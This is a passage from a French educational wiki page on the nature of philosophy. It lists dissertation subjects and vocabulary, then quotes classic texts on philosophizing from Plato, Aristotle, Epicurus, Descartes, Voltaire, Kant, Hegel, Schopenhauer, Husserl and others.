d'indépendant de notre perception ? Qu'est-ce que l'espace, le temps, la pensée, la conscience, etc. ? Dieu existe-t-il ? Traditionnellement, ces questions concernent la métaphysique. *La connaissance est-elle possible ? Comment connaissons-nous ce que nous connaissons ? Comment pouvons-nous savoir qu'il existe d'autres esprits que le nôtre ? Ces questions concernent la théorie de la connaissance. *Y a-t-il des différences morales (bien et mal) entre certaines de nos actions ? En quoi consistent ces différences ? Quelles actions sont bonnes, quelles actions sont mauvaises ? Nos valeurs sont-elles absolues ou relatives ? Comment doit-on vivre ? Ces questions, et d'autres, concernent la [[morale]] et l'éthique. === Utilité d'une bonne définition === Comme nous le disions, une définition ne peut servir de repère absolu pour la reflexion. Une définition peut être une aide précieuse pour la mémoire, dans la mesure où elle abrège un ensemble de raisonnements. Une bonne définition vous permettra ainsi de retrouver facilement les problématiques qui sont liées au concept défini. N'en attendez donc pas une vérité que seule vous pouvez découvrir en pensant par vous-même. ==Pour travailler== === Sujets de dissertations === *Peut-on être à la fois sage et ignorant ? *La réflexion philosophique doit-elle et peut-elle être utile? *Philosopher est-ce se compliquer la vie pour rien? *Faut-il philosopher pour bien vivre? *A quoi sert la philosophie? *Peut-on reprocher à la philosophie d'être inutile ? *Si le monde n'a pas de sens, la philosophie a-t-elle encore un objet ? *La constitution des sciences humaines annonce-t-elle la fin de la philosophie ? *La philosophie peut-elle s'accorder avec la religion ? *Une religion peut-elle avoir la même fonction que la philosophie ? *L'exercice de la philosophie contribue-t-elle au développement de la raison ? *Y a-t-il une place pour la philosophie dans une société qui accorde toute sa confiance à la raison scientifique et à la réussite technique ? *La philosophie doit-elle aller contre le sens commun ? *La pluralité des philosophies est-elle un argument contre la philosophie ? *La philosophie recherche-t-elle la vérité ou le sens ? *Comment une philosophie ancienne peut-elle être actuelle ? *Que pensez-vous de ce jugement concernant la philosophie : « Sa fonction est de contester, mais son destin est d'être contestée » ? *La réflexion sur l'homme est-elle toute la philosophie ? *La science peut-elle tenir lieu de philosophie ? *La tâche de la philosophie est-elle de dénoncer les illusions dont les hommes vivent ? *La philosophie peut-elle dépasser son temps ? *Le rôle de la philosophie est-il de nous faire oublier la mort ? *L'historien peut-il se passer d'une philosophie ? === Vocabulaire === *philosophie | étonnement | [[w:métaphysique|métaphysique]] | [[w:sagesse|sagesse]] | [[w:opinion|opinion]] | [[conscience]] | critique | croyance | pensée | réflexion | [[w:raison|raison]] | connaissance de soi | connaissance | savoir | ignorance | [[w:vérité|vérité]] === Textes d'étude === "Admettons que, malgré cela, vous me teniez ce langage : « Socrate, nous ne voulons pas en croire Anytos, nous voulons t’acquitter, à une condition toutefois : c’est que tu ne passeras plus tout ton temps à examiner ainsi les gens, ni à philosopher. Si on t’y reprend, tu mourras. Cette condition là, juges, si pour m'acquitter, vous vouliez me l'imposer, je vous dirais: « Athéniens, je vous sais gré et je vous aime; mais j'obéirai au dieu plutôt qu'à vous; et tant que j'aurai un souffle de vie, tant que j'en serai capable, soyez sûrs que je ne cesserai de philosopher, de vous exhorter, de faire la leçon à qui de vous que je rencontrerai. Et je lui dirai comme j'ai coutume de le faire: «Quoi! cher ami, tu es Athénien, citoyen d'une ville qui est plus grande, plus renommée qu'aucune autre pour sa science et sa puissance, et tu ne rougis pas de donner tes soins à ta fortune, pour l'accroître le plus possible, ainsi qu'à ta réputation et à tes honneurs ; mais quant à ta raison, quant à la vérité, quant à ton âme qu'il s'agirait d'améliorer sans cesse, tu ne t'en soucies pas, tu n'y songes pas! Et si quelqu'un de vous conteste, s'il affirme qu'il en a soin, ne croyez pas que je vais le lâcher et m'en aller immédiatement: non, je l'interrogerai, je l'examinerai, je discuterai à fond. Alors, s'il me paraît certain qu'il ne possède pas la vertu, quoi qu'il en dise, je lui reprocherai d'attacher si peu de prix à ce qui en a le plus, tant de valeur à ce qui en a le moins. jeunes ou vieux, quel que soit celui que j'aurai rencontré, étranger ou concitoyen, c'est ainsi que j’agirai avec lui, et surtout avec vous, mes concitoyens, puisque vous me tenez de plus près par le sang. Car c'est là ce que m'ordonne le dieu, entendez-le bien; et, de mon côté, je pense que jamais rien de plus avantageux n'est échu à la cité que mon zèle à exécuter cet ordre. Ma seule affaire, c'est en effet d'aller par les rues pour vous persuader, jeunes et vieux, de ne vous préoccuper ni de votre corps, ni de votre fortune aussi passionnément que de votre âme, pour la rendre aussi bonne que possible; oui, ma tâche est de vous dire que la fortune ne fait pas la vertu; mais que de la vertu provient la fortune et tout ce qui est avantageux, soit aux particuliers, soit à l'État. Si c'est par ce langage que je corromps les jeunes gens, il faut donc que cela soit nuisible. Quant à prétendre que ce n'est pas là ce que je dis, quiconque l'affirme ne dit rien qui vaille. »« Là-dessus, dirais-je, croyez Anytos ou ne le croyez pas, Athéniens, acquittez-moi ou ne m'acquittez pas - mais tenez pour certain que je ne changerai jamais de conduite, quand je devrais mille fois m'exposer à la mort". (''[[w:Apologie de Socrate|Apologie de Socrate]]'', [[w:Platon|Platon]]). PLATON DIOTIME. — [...] Comme fils de Poros et de Pénia, voici quel fut le partage de l'Amour : d'abord il est toujours pauvre, et, loin d'être beau et délicat, comme on le pense généralement, il est maigre, malpropre, sans chaussures, sans domicile, sans autre lit que la terre, sans couverture, couchant à la belle étoile auprès des portes et dans les rues; enfin, comme sa mère, toujours dans le besoin. Mais, d'autre part, selon le naturel de son père, il est toujours à la piste de ce qui est beau et bon; il est mâle, hardi, persévérant, chasseur habile, toujours machinant quelque artifice, désireux de savoir et apprenant avec facilité, philosophant sans cesse, enchanteur, magicien, sophiste. De sa nature, il n'est ni mortel ni immortel1. Mais, dans le même jour, il est florissant et plein de vie, tant qu'il est dans l'abondance, puis il s'éteint, pour revivre encore par l'effet de la nature paternelle. Tout ce qu'il acquiert lui échappe sans cesse, en sorte qu'il n'est jamais ni riche ni pauvre. Il tient aussi le milieu entre la sagesse et l'ignorance, car aucun dieu ne philosophe ni ne désire devenir sage, puisque la sagesse est le propre de la nature divine; et, en général, quiconque est sage ne philosophe pas. Il en est de même des ignorants : aucun d'eux ne philosophe ni ne désire devenir sage, car l'ignorance a précisément le fâcheux effet de persuader ceux qui ne sont ni beaux, ni bons, ni sages, qu'ils possèdent ces qualités; or nul ne désire les choses dont il ne se croit point dépourvu. SOCRATE. — Mais, Diotime, qui sont donc ceux qui philosophent, si ce ne sont ni les sages ni les ignorants ? — Il est évident, même pour un enfant, dit-elle, que ce sont ceux qui tiennent le milieu entre les ignorants et les sages, et l'Amour est de ce nombre. La sagesse est une des plus belles choses du monde; or l'Amour aime ce qui est beau; en sorte qu'il faut conclure que l'Amour est amant de la sagesse, c'est-à-dire philosophe, et, comme tel, il tient le milieu entre le sage et l'ignorant. [[Le Banquet]], 203c-204b, PLATON Thalès observait les astres et, comme il avait les yeux au ciel, il tomba dans un puits. Une servante de Thrace, fine et spirituelle, le railla, dit-on, en disant qu'il s'évertuait à savoir ce qui se passait dans le ciel, et qu'il ne prenait pas garde à ce qui était devant lui et à ses pieds. La même plaisanterie s'applique à tous ceux qui passent leur vie à philosopher. Il est certain, en effet, qu'un tel homme ne connaît ni proche, ni voisin ; il ne sait pas ce qu'ils font, sait à peine si ce sont des hommes ou des créatures d'une autre espèce ; mais qu'est-ce que peut être l'homme et qu'est-ce qu'une telle nature doit faire ou supporter qui la distingue des autres êtres, voilà ce qu'il cherche et prend peine à découvrir.(...) Voilà donc, ami (...) ce qu'est notre philosophe dans les rapports privés et publics qu'il a avec ses semblables. Quand il est forcé de discuter dans un tribunal ou quelque part ailleurs sur ce qui est à ses pieds et devant ses yeux, il prête à rire non seulement aux servantes de Thrace, mais encore au reste de la foule, son inexpérience le faisant tomber dans les puits et dans toute sorte de perplexités. Sa terrible gaucherie le fait passer pour un imbécile. (...) Entend-il parler d'un homme qui possède dix mille plèthres de terre comme d'un homme prodigieusement riche, il trouve que c'est très peu de chose, habitué qu'il est à jeter les yeux sur la terre entière. Quant à ceux qui chantent la noblesse et disent qu'un homme est bien né parce qu'il peut prouver qu'il a sept aïeux riches, il pense qu'un tel éloge vient de gens qui ont la vue basse et courte, parce que, faute d'éducation, ils ne peuvent jamais fixer leurs yeux sur le genre humain tout entier, ni se rendre compte que chacun de nous a d'innombrables myriades d'aïeux et d'ancêtres, parmi lesquels des riches et des gueux, des rois et des esclaves, des barbares et des Grecs se sont succédé par milliers dans toutes les familles. (...) Dans toutes ces circonstances, le vulgaire se moque du philosophe, qui tantôt lui paraît dédaigneux tantôt ignorant de ce qui est à ses pieds et embarrassé sur toutes choses. PLATON, Théétète, 174a-175c. [[w:Aristote|Aristote]] Ce fut l’étonnement qui poussa, comme aujourd’hui, les premiers penseurs aux spéculations philosophiques. Au début, ce furent les difficultés les plus apparentes qui les frappèrent, puis, s’avançant ainsi peu à peu, ils cherchèrent à résoudre des problèmes plus importants, tels les phénomènes de la Lune, ceux du Soleil et des Étoiles, enfin la genèse de l’univers. Apercevoir une difficulté et s’étonner, c’est reconnaître sa propre ignorance (et c’est pourquoi aimer les mythes est, en quelque manière se montrer philosophe, car le mythe est composé de merveilleux). Ainsi donc, si ce fut pour échapper à l’ignorance que les premiers philosophes se livrèrent à la philosophie, il est clair qu’ils poursuivaient la science en vue de connaître et non pour une fin utilitaire. Ce qui s’est passé en réalité en fournit la preuve: presque tous les arts qui s’appliquent aux nécessités, et ceux qui s’intéressent au bien-être et à l’agrément de la vie, étaient déjà connus, quand on commença à rechercher une discipline de ce genre. Il est donc évident que nous n’avons en vue, dans la Philosophie, aucun intérêt étranger. Mais, de même que nous appelons homme libre celui qui est à lui-même sa fin et n’existe pas pour un autre, ainsi cette science est aussi la seule de toutes les sciences qui soit libre, car seule elle est à elle-même sa propre fin. Métaphysique, A, 2, 982 b 10 DIOGENE Ayant vu un jour une souris qui courait sans se soucier de trouver un gîte, sans crainte de l'obscurité, et sans aucun désir de tout ce qui rend la vie agréable, il la prit pour modèle et trouva le remède à son dénuement. Il fit d'abord doubler son manteau, pour sa commodité, et pour y dormir la nuit enveloppé, puis il prit une besace, pour y mettre ses vivres, et résolut de manger, dormir et parler en n'importe quel lieu. Il s'étonnait de voir les grammairiens tant étudier les mœurs d'Ulysse, et négliger les leurs, de voir les musiciens si bien accorder leur lyre, et oublier d'accorder leur âme, de voir les mathématiciens étudier le soleil et la lune, et oublier ce qu'ils ont sous les pieds, de voir les orateurs pleins de zèle pour bien dire, mais jamais pressés de bien faire, de voir les avares blâmer l'argent, et pourtant l'aimer comme des fous. Il reprenait ceux qui louent les gens vertueux parce qu'ils méprisent les richesses, et qui dans le même temps envient les riches. Il était indigné de voir des hommes faire des sacrifices pour conserver la santé, et en même temps se gaver de nourriture pendant ces sacrifices, sans aucun souci de leur santé. Il affirmait opposer à la fortune son assurance, à la loi sa nature, à la douleur sa raison. Dans le Cranéion, à une heure où il faisait soleil, Alexandre le rencontrant lui dit : «Demande-moi ce que tu veux, tu l'auras.» Il lui répondit : «Ôte-toi de mon soleil !» Il se promenait en plein jour avec une lanterne et répétait : «Je cherche un homme.» Pendant un repas, on lui jeta des os comme à un chien; alors, s'approchant des convives, il leur pissa dessus comme un chien. On lui demanda pourquoi il était appelé chien : «Parce que je caresse ceux qui me donnent, j'aboie contre ceux qui ne me donnent pas, et je mors ceux qui sont méchants.» Quelqu'un lui dit : «Tu ne sais rien, et tu fais le philosophe.» «Mais, dit-il, simuler la sagesse, c'est encore être philosophe.» On lui demandait ce qu'il y avait de plus beau au monde : «La franchise», dit-il. Il avait coutume de tout faire en public, les repas et l'amour, et il raisonnait ainsi : «S'il n'y a pas de mal à manger, il n'y en a pas non plus à manger en public; or il n'y a pas de mal à manger, donc il n'y a pas de mal à manger en public.» De même il se masturbait toujours en public, en disant : «Plût au ciel qu'il suffît également de se frotter le ventre pour apaiser sa faim.» Il ne voyait pas qu'il fût mal d'emporter les objets d'un temple, ou de manger la chair de n'importe quel animal, et ne trouva pas si odieux le fait de manger de la chair humaine, comme le font des peuples étrangers, disant qu'en saine raison, tout est dans tout et partout. Quelques auteurs veulent qu'il ait demandé qu'on laissât son corps sans sépulture, pour que les chiens pussent y prendre leur morceau, et qu'au moins, si on tenait à le mettre en fosse, on le recouvrît seulement d'un peu de poussière. Anecdotes et traits rapportés par Diogène Laërce dans Vie, doctrines et sentences des philosophes illustres [[w:épicure|Épicure]] Quand on est jeune, il ne faut pas hésiter à philosopher, et quand on est vieux, il ne faut pas se lasser de philosopher. Il n'est jamais ni trop tôt, ni trop tard pour prendre soin de son âme. Celui qui dit qu'il n'est pas encore ou qu'il n'est plus temps de philosopher, ressemble à celui qui dit qu'il n'est pas encore ou qu'il n'est plus temps d'atteindre le bonheur. On doit donc philosopher quand on est jeune et quand on est vieux, dans le second cas pour rajeunir au contact du bien, par le souvenir des jours passés, et dans le premier cas, afin d'être, quoique jeune, aussi ferme qu'un vieillard devant l'avenir. Il faut donc étudier les moyens d'acquérir le bonheur, puisque quand il est là, nous avons tout, et quand il n'est pas là, nous faisons tout pour l'acquérir. [...] Attache-toi donc à ces idées et à celles du même genre chaque jour et chaque nuit, en y réfléchissant à part toi, et avec un ami semblable à toi, tu ne seras jamais troublé, ni dans tes songes, ni dans tes veilles, et tu vivras parmi les hommes comme un dieu. L'homme qui vit au milieu de biens immortels n'a plus, en effet, rien de commun avec les mortels. Lettre à Ménécée, début et fin MARC-AURELE Durée de la vie de l'homme ? Un moment. Sa substance ? Changeante. Ses sensations ? Obscures. Toute sa masse ? Pourriture. Son âme ? Un tourbillon. Son sort ? Impénétrable. Sa réputation ? Douteuse. En un mot, tout ce qui est de son corps : comme l'eau qui s'écoule; ses pensées : comme des songes et de la fumée; sa vie : un combat perpétuel et une halte sur une terre étrangère; sa renommée après la mort : un pur oubli. Qu'est-ce donc qui peut lui faire faire un bon voyage ? La seule philosophie. Elle consiste à empêcher que le génie qui habite en lui ne reçoive ni affront ni blessure; à être également supérieur à la volupté et à la douleur; ne rien faire au hasard; n'être ni dissimulé, ni menteur, ni hypocrite; n'avoir pas besoin qu'un autre agisse ou n'agisse pas; recevoir tout ce qui arrive et qui lui a été distribué comme un envoi qui lui est fait du même lieu dont il est sorti; enfin, attendre avec résignation la mort, comme une simple dissolution des éléments dont chaque animal est composé. Car si ces éléments ne reçoivent aucun mal d'être changés l'un en l'autre, pourquoi regarder de mauvais œil, pourquoi craindre le changement et la dissolution de tous ? Il n'y a rien là qui ne soit selon la nature. Donc point de mal. Pensées, livre II, art. 17, [[w:René Descartes|Descartes]] J'aurais voulu premièrement y expliquer ce que c'est que la philosophie, en commençant par les choses les plus vulgaires, comme sont : que ce mot de philosophie signifie l'étude de la sagesse, et que par la sagesse on n'entend pas seulement la prudence dans les affaires, mais une parfaite connaissance de toutes les choses que l'homme peut savoir, tant pour la conduite de sa vie que pour la conservation de sa santé et l'invention de tous les arts; et qu'afin que cette connaissance soit telle, il est nécessaire qu'elle soit déduite des premières causes, en sorte que pour étudier à l'acquérir, ce qui se nomme proprement philosopher, il faut commencer par la recherche de ces premières causes, c'est-à-dire des principes; et que ces principes doivent avoir deux conditions : l'une, qu'ils soient si clairs et si évidents que l'esprit humain ne puisse douter de leur vérité, lorsqu'il s'applique avec attention à les considérer; l'autre, que ce soit d'eux que dépende la connaissance des autres choses, en sorte qu'ils puissent être connus sans elles, mais non pas réciproquement elles sans eux; et qu'après cela il faut tâcher de déduire tellement de ces principes la connaissance des choses qui en dépendent, qu'il n'y ait rien en toute la suite des déductions qu'on en fait qui ne soit très manifeste. Il n'y a véritablement que Dieu seul qui soit parfaitement sage, c'est-à-dire qui ait l'entière connaissance de la vérité de toutes choses; mais on peut dire que les hommes ont plus ou moins de sagesse à raison de ce qu'ils ont plus ou moins de connaissance des vérités plus importantes. Et je crois qu'il n'y a rien en ceci dont tous les doctes ne demeurent d'accord. Les Principes de la philosophie (1644), lettre-préface de l'auteur. DESCARTES [Un homme] doit commencer tout de bon à s'appliquer à la vraie philosophie, dont la première partie est la métaphysique, qui contient les principes de la connaissance, entre lesquels est l'explication des principaux attributs de Dieu, de l'immatérialité de nos âmes, et de toutes les notions claires et simples qui sont en nous. La seconde est la physique, en laquelle, après avoir trouvé les vrais principes des choses matérielles, on examine en général comment tout l'univers est composé, puis en particulier quelle est la nature de cette Terre et de tous les corps qui se trouvent le plus communément autour d'elle, comme de l'air, de l'eau, du feu, de l'aimant et des autres minéraux. Ensuite de quoi il est besoin aussi d'examiner en particulier la nature des plantes, celle des animaux et surtout celle de l'homme, afin qu'on soit capable par après de trouver les autres sciences qui lui sont utiles. Ainsi toute la philosophie est comme un arbre, dont les racines font la métaphysique, le tronc est la physique et les branches qui sortent de ce tronc sont toutes les autres sciences qui se réduisent à trois principales, à savoir la médecine, la mécanique et la morale, j'entends la plus haute et la plus parfaite morale, qui, présupposant une entière connaissance des autres sciences, est le dernier degré de la sagesse. Or comme ce n'est pas des racines, ni du tronc des arbres, qu'on cueille les fruits, mais seulement des extrémités de leurs branches, ainsi la principale utilité de la philosophie dépend de celles de ses parties qu'on ne peut apprendre que les dernières. DESCARTES C'est proprement avoir les yeux fermés, sans tâcher de les ouvrir, que de vivre sans philosopher ; et le plaisir de voir toutes les choses que notre vue découvre n'est point comparable à la satisfaction que donne la connaissance de celles qu'on trouve par la philosophie ; et, enfin, cette étude est plus nécessaire pour régler nos moeurs et nous conduire en cette vie, que n'est l'usage de nos yeux pour guider nos pas. Les bêtes brutes, qui n'ont que leur corps à conserver, s'occupent continuellement à chercher de quoi le nourrir ; mais les hommes, dont la principale partie est l'esprit, devraient employer leurs principaux soins à la recherche de la sagesse, qui en est la vraie nourriture ; et je m'assure aussi qu'il y en a plusieurs qui n'y manqueraient pas, s'ils avaient espérance d'y réussir, et qu'ils sussent combien ils en sont capables. Il n'y a point d'âme tant soit peu noble qui demeure si fort attachée aux objets des sens qu'elle ne s'en détourne quelquefois pour souhaiter quelque autre plus grand bien, nonobstant qu'elle ignore souvent en quoi il consiste. DESCARTES, Les principes de la philosophie. [[w:Voltaire|Voltaire]] Le fanatisme est à la superstition ce que le transport est à la fièvre, ce que la rage est à la colère. Celui qui a des extases, des visions, qui prend des songes pour des réalités, et ses imaginations pour des prophéties, est un fanatique novice qui donne de grandes espérances; il pourra bientôt tuer pour l'amour de Dieu. [...] Le plus grand exemple de fanatisme est celui des bourgeois de Paris qui coururent assassiner, égorger, jeter par les fenêtres, mettre en pièces, la nuit de la Saint-Barthélemy, leurs concitoyens qui n'allaient point à la messe. Il n'est d'autre remède à cette maladie épidémique que l'esprit philosophique, qui, répandu de proche en proche, adoucit enfin les mœurs des hommes, et qui prévient les accès du mal; car, dès que ce mal fait des progrès, il faut fuir et attendre que l'air soit purifié. Les lois et la religion ne suffisent pas contre la peste des âmes; la religion, loin d'être pour elles un aliment salutaire, se tourne en poison dans les cerveaux infectés. Les lois sont encore très impuissantes contre ces accès de rage : c'est comme si vous lisiez un arrêt du conseil à un frénétique. Ces gens-là sont persuadés que l'esprit saint qui les pénètre est au-dessus des lois, que leur enthousiasme est la seule loi qu'ils doivent entendre. Que répondre à un homme qui vous dit qu'il aime mieux obéir à Dieu qu'aux hommes, et qui, en conséquence, est sûr de mériter le ciel en vous égorgeant ? [...] Ce sont presque toujours les fripons qui conduisent les fanatiques, et qui mettent le poignard entre leurs mains; ils ressemblent à ce Vieux de la montagne qui faisait, dit-on, goûter les joies du paradis à des imbéciles, et qui leur promettait une éternité de ces plaisirs dont il leur avait donné un avant-goût, à condition qu'ils iraient assassiner tous ceux qu'il leur nommerait. Il n'y a eu qu'une seule religion dans le monde qui n'ait pas été souillée par le fanatisme, c'est celle des lettrés de la Chine. Les sectes des philosophes étaient non seulement exemptes de cette peste, mais elles en étaient le remède; car l'effet de la philosophie est de rendre l'âme tranquille, et le fanatisme est incompatible avec la tranquillité. Dictionnaire philosophique (1764), article "Fanatisme" ROUSSEAU "Nous déjeunions ordinairement avec du café au lait. Après une heure ou deux de causeries, j'allais à mes livres jusqu'au dîner. Je commençais par quelques livres de philosophie, comme la Logique de Port-Royal, l'Essai de Locke, Malebranche, Leibniz, Descartes, etc. Je m'aperçus bientôt que tous ces auteurs étaient entre eux en contradiction presque perpétuelle, et je me formai le chimérique projet de les accorder, qui me fatigua beaucoup et me fit perdre beaucoup de temps. Je me brouillais la tête, et n'avançais point. Enfin, renonçant encore à cette méthode, j'en pris une infiniment meilleure, et à laquelle j'attribue tout le progrès que je puis avoir fait, malgré mon défaut de capacité ; car il est certain que j'en eus toujours fort peu pour l'étude. En lisant chaque auteur, je me fis une loi d'adopter et de suivre toutes ses idées sans y mêler les miennes et celles d'un autre, et sans jamais disputer avec lui. Je me dis : "commençons par me faire un magasin d'idées, vraies ou fausses, mais nettes, en attendant que ma tête en soit assez fournie pour pouvoir les comparer et choisir". Cette méthode n'est pas sans inconvénient, je le sais, mais elle m'a réussi dans l'objet de m'instruire. Au bout de quelques années passées à ne penser exactement que d'après autrui, sans réfléchir pour ainsi dire et sans raisonner, je me suis trouvé un assez grand fonds d'acquis pour me suffire à moi-même, et penser sans le secours d'autrui. Alors, quand les voyages et les affaires m'ont ôté les moyens de consulter les livres, je me suis amusé à repasser et à comparer ce que j'avais lu, à peser chaque chose à la balance de la raison, et à juger quelquefois mes maîtres. Pour avoir commencé tard à mettre en exercice ma faculté judiciaire, je n'ai pas trouvé qu'elle eût perdu sa vigueur ; et quand j'ai publié mes propres idées, on ne m'a pas accusé d'être le disciple servile et de jurer in verba magistri". Les Confessions, livre VIe [[w:Kant|Kant]] Le domaine de la philosophie se ramène aux questions suivantes : 1) Que puis-je savoir ? 2) Que dois-je faire ? 3) Que m'est-il permis d'espérer ? 4) Qu'est-ce que l'homme ? A la première question répond la métaphysique, à la seconde la morale, à la troisième la religion, à la quatrième l'anthropologie. Mais au fond, on pourrait tout ramener à l'anthropologie, puisque les trois premières questions se rapportent à la dernière. Car sans connaissances on ne deviendra jamais philosophe, mais jamais non plus les connaissances ne suffiront à faire un philosophe, si ne vient s'y ajouter une harmonisation convenable de tous les savoirs et de toutes les habilités jointes à l'intelligence de leur accord avec les buts les plus élevés de la raison humaine. De façon générale, nul ne peut se nommer philosophe s'il ne peut philosopher. Mais on n'apprend à philosopher que par l'exercice et par l'usage qu'on fait soi-même de sa propre raison. Comment la philosophie se pourrait-elle, même à proprement parler, apprendre? En philosophie, chaque penseur bâtit son oeuvre pour ainsi dire sur les ruines d'une autre ; mais jamais aucune n'est parvenue à devenir inébranlable en toutes ses parties. De là vient qu'on ne peut apprendre à fond la philosophie, puisqu'elle n'existe pas encore. Mais à supposer même qu'il en existât une effectivement, nul de ceux qui l'apprendraient, ne pourraient se dire philosophe, car la connaissance qu'il en aurait demeurerait subjectivement historique. Il en va autrement en mathématiques. Cette science peut, dans une certaine mesure, être apprise ; car ici, les preuves sont tellement évidentes que chacun peut en être convaincu ; et en outre, en raison de son évidence, elle peut être retenue comme une doctrine certaine et stable. Celui qui veut apprendre à philosopher doit, au contraire, considérer tous les systèmes de philosophie uniquement comme une histoire de l'usage de la raison et comme des objets d'exercice de son talent philosophique. Car la science n'a de réelle valeur intrinsèque que comme instrument de sagesse. Mais à ce titre, elle lui est à ce point indispensable qu'on pourrait dire que la sagesse sans la science n'est que l'esquisse d'une perfection à laquelle nous n'atteindrons jamais. Celui qui hait la science mais qui aime d'autant plus la sagesse s'appelle un misologue. La misologie naît ordinairement d'un manque de connaissance scientifique à laquelle se mêle une certaine sorte de vanité. Il arrive cependant parfois que certains tombent dans l'erreur de la misologie, qui ont commencé à pratiquer la science avec beaucoup d'ardeur et de succès mais qui n'ont finalement trouvé dans leur savoir aucun contentement. La philosophie est l'unique science qui sache nous procurer cette satisfaction intime, car elle renferme, pour ainsi dire, le cercle scientifique et procure enfin aux sciences ordre et organisation. Anthropologie d'un point de vue pragmatique. [[w:Hegel|Hegel]] En ce qui concerne d’abord cette galerie d’opinions que présenterait l’histoire de la philosophie — sur Dieu, sur l’essence des objets de la nature et de l’esprit — ce serait, si elle ne faisait que cela, une science très superflue et très ennuyeuse, alors même qu’on invoquerait la multiple utilité à retirer d’une si grande animation de l’esprit et d’une si grande érudition. Qu’y a-t-il de plus inutile, de plus ennuyeux qu’une suite de simples opinions ? On n’a qu’à considérer des écrits qui sont des histoires de la philosophie, en ce sens qu’ils présentent et traitent les idées philosophiques comme des opinions, pour se rendre compte à quel point tout cela est sec, ennuyeux et sans intérêt. Une opinion est une représentation subjective, une idée quelconque, fantaisiste, que je conçois ainsi et qu’un autre peut concevoir autrement. Une opinion est mienne ; ce n’est pas une idée en soi générale, existant en soi et pour soi. Or la philosophie ne renferme pas d’opinions, il n’existe pas d’opinions philosophiques. HEGEL Pour que la philosophie apparaisse il faut la conscience de la liberté, et le peuple dans lequel la philosophie commence doit avoir la liberté comme principe ; pratiquement, cela est lié à l'épanouissement de la liberté réelle, la liberté politique. Celle-ci commence seulement là où l'individu se sait comme individu pour soi, comme universel, comme essentiel, comme ayant une valeur infinie en tant qu'individu ; où le sujet a atteint la conscience de la personnalité, où donc il veut affirmer sa valeur absolument pour soi. La libre pensée de l'objet y est incluse, - de l'objet absolu, universel, essentiel. Penser, cela veut dire mettre quelque chose dans la forme de l'universalité; se penser veut dire se savoir comme universel, se donner la détermination de l'universel, se rapporter à soi. Là est contenu l'élément de la liberté pratique [...]. Dans l'histoire la philosophie apparaît donc seulement là où et en tant que se forment de libres constitutions. L'Esprit doit se séparer de son vouloir naturel, de son immersion dans la matière" HEGEL, Leçons sur l'histoire de la philosophie. "Il paraît particulièrement nécessaire de faire de nouveau de la philosophie une affaire sérieuse. Pour toutes les sciences, les arts, les talents, les techniques, prévaut la conviction qu'on ne les possède pas sans se donner de la peine et sans faire l'effort de les apprendre et de les pratiquer. Si quiconque ayant des yeux et des doigts, à qui on fournit du cuir et un instrument, n'est pas pour cela en mesure de faire des souliers, de nos jours domine le préjugé selon lequel chacun sait immédiatement philosopher et apprécier la philosophie puisqu'il possède l'unité de mesure nécessaire dans sa raison naturelle - comme si chacun ne possédait pas aussi dans son pied la mesure d'un soulier. Il semble que l'on fait consister proprement la possession de la philosophie dans le manque de connaissances et d'études, et que celles-ci finissent quand la philosophie commence." ([[Hegel]], ''La Phénoménologie de l'esprit''). SCHOPENHAUER Excepté l'homme, aucun être ne s'étonne de sa propre existence ; c'est pour tous une chose si naturelle, qu'ils ne la remarquent même pas. (...) C'est seulement après que l'essence intime de la nature (le vouloir vivre dans son objectivation) s'est développée, avec toute sa force et toute sa joie, à travers les deux règnes de l'existence inconsciente, puis à travers la série si longue et si étendue des animaux ; c'est alors enfin, avec l'apparition de la raison, c'est-à-dire chez l'homme, qu'elle s'éveille pour la première fois à la réflexion ; elle s'étonne de ses propres oeuvres et se demande à elle-même ce qu'elle est. Son étonnement est d'autant plus sérieux que, pour la première fois, elle s'approche de la mort avec une pleine conscience, et qu'avec la limitation de toute existence, l'inutilité de tout effort devient pour elle plus ou moins évidente. De cette réflexion et de cet étonnement naît le besoin métaphysique qui est propre à l'homme seul. L'homme est un animal métaphysique. Sans doute, quand sa conscience ne fait encore que s'éveiller, il se figure être intelligible sans effort ; mais cela ne dure pas longtemps : avec la première réflexion, se produit déjà cet étonnement, qui fut pour ainsi dire le père de la métaphysique. C'est en ce sens qu'Aristote a dit aussi au début de sa Métaphysique : " En effet, c'est l'étonnement qui poussa, comme aujourd'hui, les premiers penseurs aux spéculations philosophiques". De même, avoir l'esprit philosophique, c'est être capable de s'étonner des événements habituels et des choses de tous les jours, de se poser comme sujet d'étude ce qu'il y a de plus général et de plus ordinaire ; tandis que l'étonnement du savant ne se produit qu'à propos de phénomènes rares et choisis, et que tout son problème se réduit à ramener ce phénomène à un autre plus connu.Plus un homme est inférieur par l'intelligence, moins l'existence a pour lui de mystère. Toute chose lui paraît porter en elle-même l'explication de son comment et de son pourquoi. Cela vient de ce que son intellect est encore resté fidèle à sa destination originelle, et qu'il est simplement le réservoir des motifs à la disposition de la volonté ; aussi, étroitement uni au monde et à la nature, comme partie intégrante d'eux-mêmes, est-il loin de s'abstraire pour ainsi dire de l'ensemble des choses, pour se poser ensuite en face du monde et l'envisager objectivement, comme si lui-même, pour un moment du moins, existait en soi et pour soi. Au contraire, l'étonnement philosophique, qui résulte du sentiment de cette dualité, suppose dans l'individu un degré supérieur d'intelligence, quoique pourtant ce n'en soit pas là l'unique condition ; car, sans aucun doute, c'est la connaissance des choses de la mort et la considération de la douleur et de la misère de la vie qui donnent la plus forte impulsion à la pensée philosophique et à l'explication métaphysique du monde. Si notre vie était infinie et sans douleur, il n'arriverait à personne de se demander pourquoi le monde existe, et pourquoi il a précisément telle nature particulière ; mais toutes choses se comprendraient d'elles-mêmes". Le Monde comme volonté et comme représentation, suppl. au livre Ier, c. 17, "Sur le besoin métaphysique de l'humanité", tr. Burdeau, Paris, PUF, pp. 851-852. HUSSERL Quiconque veut vraiment devenir philosophe devra "une fois dans sa vie" se replier sur soi-même et, au-dedans de soi, tenter de renverser toutes les sciences admises jusqu'ici et tenter de les reconstruire. La philosophie - la sagesse - est en quelque sorte une affaire personnelle du philosophe. Elle doit se constituer en tant que sienne, être sa sagesse, son savoir qui, bien qu'il tende vers l'universel, soit acquis par lui et qu'il doit pouvoir justifier dès l'origine et à chacune de ses étapes, en s'appuyant sur ses intuitions absolues. Du moment que j'ai pris la décision de tendre vers cette fin, décision qui seule peut m'amener à la vie et au développement philosophique, j'ai donc par là même fait voeu de pauvreté en matière de connaissance. Dès lors il est manifeste qu'il faudra alors me demander comment je pourrais trouver une méthode qui me donnerait la marche à suivre pour arriver au savoir véritable. Les méditations de Descartes ne veulent donc pas être une affaire purement privée du seul philosophe Descartes, encore moins une simple forme littéraire dont il userait pour exposer ses vues philosophiques. Au contraire, ces méditations dessinent le prototype du genre de méditations 